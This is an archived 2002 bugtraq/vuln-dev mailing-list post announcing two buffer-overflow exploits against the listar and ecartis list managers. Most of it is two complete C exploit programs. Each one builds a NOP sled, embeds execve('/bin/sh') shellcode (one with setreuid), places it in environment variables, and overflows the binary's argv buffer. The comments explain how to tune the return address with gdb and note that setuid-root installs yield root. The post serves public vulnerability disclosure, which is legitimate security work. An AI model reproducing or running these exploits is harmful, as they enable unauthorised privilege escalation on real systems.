ecartis / listar PoC

From: KF (dotslash@snosoft.com)
Date: 04/25/02 

Date: Wed, 24 Apr 2002 18:56:01 -0700
From: KF <dotslash@snosoft.com>
To: vuln-dev@securityfocus.com, bugtraq@securityfocus.com

Heres some code for this post a while back ...
http://online.securityfocus.com/archive/82/258763
This is NOT the same issue in the my_strings.c there are MULTIPLE issues
in ecartis still and the same goes for listar...
This issue is a strcpy from argv to a fixed buffer .... nothing special.

ecartis and listar are one in the same... depending on how you install
either one it could be a root exploit or it could be a non priv account
exploit. I have seen alot of listar installs suid root...

-KF

/*
 * /home/listar-0.129a/listar
 *
 * The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
 * Exploit coded up by The Itch / Promisc (http://www.promisc.org)
 *
 * This exploit was developed on the Snosoft vulnerability research machines
 *
 * - The Itch
 * - itchie@promisc.org
 *
 * - Technical details concerning the exploit -
 *
 * 1) Buffer overflow occurs after writing 990 bytes into the buffer at the command line
 * (990 to overwrite ebp, 996 to overwrite eip).
 * 2) The code string with the return address will be unaligned.
 *
 */

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
#define DEFAULT_BUFFER_SIZE 1000

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[])
{
        char *buff;
        char *egg;
        char *ptr;
        long *addr_ptr;
        long addr;
        int bsize = DEFAULT_BUFFER_SIZE;
        int eggsize = DEFAULT_EGG_SIZE;
        int i;
        int get_sp = 0xbffff4e0;

        if(argc > 1) { bsize = atoi(argv[1]); }

        if(!(buff = malloc(bsize)))
        {
                printf("unable to allocate memory for %d bytes\n", bsize);
                exit(1);
        }

        if(!(egg = malloc(eggsize)))
        {
                printf("unable to allocate memory for %d bytes\n", eggsize);
                exit(1);
        }

        printf("/home/listar-0.129a/listar\n");
        printf("Vulnerability found by KF / http://www.snosoft.com\n");
        printf("Coded by The Itch / http://www.promisc.org\n\n");
        printf("Using return address: 0x%x\n", get_sp);
        printf("Using buffersize : %d\n", bsize);

        /* alignment */
        ptr = buff + 2;

        addr_ptr = (long *) ptr;
        for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }

        ptr = egg;
        for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
        {
                *(ptr++) = NOP;
        }

        for(i = 0; i < strlen(shellcode); i++)
        {
                *(ptr++) = shellcode[i];
        }

        egg[eggsize - 1] = '\0';
        buff[bsize -1] = '\0';
        memcpy(buff, "RET=", 4);
        memcpy(egg, "EGG=", 4);
        putenv(buff);
        putenv(egg);
        system("/home/listar-0.129a/listar $RET");

        return 0;
}

/*
 * /home/ecartis/ecartis
 *
 * The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
 * Exploit coded up by The Itch / Promisc (http://www.promisc.org)
 * Shellcode created by r0z / Promisc (r0z@promisc.org)
 *
 * This exploit was developed on the Snosoft vulnerability research machines
 *
 * - The Itch
 * - itchie@promisc.org
 *
 * - Technical details concerning the exploit -
 *
 * 1) Buffer overflow occurs after writing 996 bytes into the buffer at the command line
 * (996 to overwrite ebp, 1000 to overwrite eip).
 * 2) The code string with the return address will be unaligned.
 * 3) Shellcode will try to do a setreuid(508);
 *
 * I had trouble reaching my own buffer in the enviroment dynamicly, so i gdb'ed it.
 * If the exploit fails, comment the system() that runs ecarthis, uncomment the other system()
 * The run this exploit, you will be in bash then, do: gdb /home/ecartis/ecartis
 * in gdb, type: run $RET
 * The program will probably then segfault, then type: x/200x $esp and press enter a couply of times
 * until you see alot of 0x90909090. Then pick on of those address and replace it with the
 * int get_sp = 0xbffff550. Change the system() commands below back as how they were and rerun the exploit.
 *
 */

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
#define DEFAULT_BUFFER_SIZE 1000

/* setreuid(508); execve("/bin/sh", "sh", 0); (c) r0z@promisc.org */
char shellcode[] =
         "\x31\xdb" /* xor %ebx, %ebx */
         "\x31\xc9" /* xor %ecx, %ecx */
         "\xf7\xe3" /* mul %ebx */
         "\xb0\x46" /* mov $0x46, %al */
         "\x66\xbb\xfc\x01" /* mov $0x1fc, %bx */
         "\x49" /* dec %ecx */
         "\xcd\x80" /* int $0x80 */
         "\x31\xd2" /* xor %edx, %edx */
         "\x52" /* push %edx */
         "\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
         "\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
         "\x89\xe3" /* mov %esp, %ebx */
         "\x52" /* push %edx */
         "\x53" /* push %ebx */
         "\x89\xe1" /* mov %esp, %ecx */
         "\x6a\x0b" /* pushl $0xb */
         "\x58" /* pop %eax */
         "\xcd\x80"; /* int $0x80 */

int main(int argc, char *argv[])
{
        char *buff;
        char *egg;
        char *ptr;
        long *addr_ptr;
        long addr;
        int bsize = DEFAULT_BUFFER_SIZE;
        int eggsize = DEFAULT_EGG_SIZE;
        int i;
        int get_sp = 0xbffff550;
        
        if(argc > 1) { bsize = atoi(argv[1]); }

        if(!(buff = malloc(bsize)))
        {
                printf("unable to allocate memory for %d bytes\n", bsize);
                exit(1);
        }

        if(!(egg = malloc(eggsize)))
        {
                printf("unable to allocate memory for %d bytes\n", eggsize);
                exit(1);
        }
        
        printf("/home/ecartis/ecartis\n");
        printf("Vulnerability found by KF / http://www.snosoft.com\n");
        printf("Coded by The Itch / http://www.promisc.org\n\n");
        printf("Using return address: 0x%x\n", get_sp);
        printf("Using buffersize : %d\n", bsize);

        /* alignment */
        ptr = buff + 2;

        addr_ptr = (long *) ptr;
        for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }

        ptr = egg;
        for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
        {
                *(ptr++) = NOP;
        }

        for(i = 0; i < strlen(shellcode); i++)
        {
                *(ptr++) = shellcode[i];
        }

        egg[eggsize - 1] = '\0';
        memcpy(egg, "EGG=", 4);
        putenv(egg);
        buff[bsize - 1] = '\0';
        memcpy(buff, "RET=", 4);
        putenv(buff);
        system("/home/ecartis/ecartis $RET");
// system("/bin/bash");

        return 0;
}